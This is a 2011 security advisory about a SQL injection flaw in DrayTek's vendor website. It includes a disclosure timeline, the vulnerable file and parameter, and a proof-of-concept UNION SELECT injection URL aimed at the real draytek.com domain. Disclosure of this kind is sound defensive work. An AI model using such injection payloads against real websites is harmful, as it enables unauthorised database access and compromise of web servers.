Draytek Website - Remote SQL Injection Vulnerability

Document Title:
===============
Draytek Website - Remote SQL Injection Vulnerability



Release Date:
=============
2011-07-17


Vulnerability Laboratory ID (VL-ID):
====================================
124


Product & Service Introduction:
===============================
DrayTek , established in 1997 by a group of talented engineers is now the world-leading supplier of 
state-of-the-art networking solutions. We have migrated from the leading provider of remote access solutions 
to the customized networking solutions for diverse local markets around the world. At present, DrayTek s 
solutions ranging from enterprise-level firewalls, mission-critical VPN/VoIP facilities for SoHo, various xDSL/broadband 
CPE, to prospective telecommunication products can meet the market trend and go above and beyond customers  expectations.

(Copy of the Vendor Homepage: http://www.draytek.com/user/AboutCompanyoverview.php)


Abstract Advisory Information:
==============================
A anonymous researcher discovered a SQL Injection Vulnerability on Drayteks Vendor Website.
Remote attackers can infiltrate the website application dbms via sql injection attack.


Vulnerability Disclosure Timeline:
==================================
2010-11-12:	Vendor Notification
2010-12-03:	Vendor Response/Feedback
2010-12-19:	Vendor Fix/Patch
2011-06-07:	Public or Non-Public Disclosure


Discovery Status:
=================
Published


Affected Product(s):
====================

Exploitation Technique:
=======================
Remote


Severity Level:
===============
Critical


Technical Details & Description:
================================
A SQL Injection vulnerability is detected on Drayteks international vendor website.
The vulnerability allows an attacker to request database information & can result in the compromise of the website webserver.


Vulnerable Modules:
			[+] DemoView

Pictures:
			../sql1.png


Proof of Concept (PoC):
=======================
The vulnerability can be exploited by remote by attackers. For demonstration or reproduce ...

Path:			user/
File:			SupportLiveDemoDetail.php
Para:			ID=


PoC:
http://[Server]/[Path]/[File]&[ID]=[Union]all[Select]+[version]--

References: 
http://www.draytek.com/user/SupportLiveDemoDetail.php?ID=-11%20union%20all%20select%201,@@version,3,4,5,6,7,8--


Solution - Fix & Patch:
=======================
Fast Close - 2010 Quartal 4


Security Risk:
==============
The security risk of the remote sql injection vulnerability is estimated as critical.


Credits & Authors:
==================
Vulnerability Research Laboratory


Disclaimer & Information:
=========================
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may not apply. We do not approve or encourage anybody to break any vendor licenses, policies, deface websites, hack into databases 
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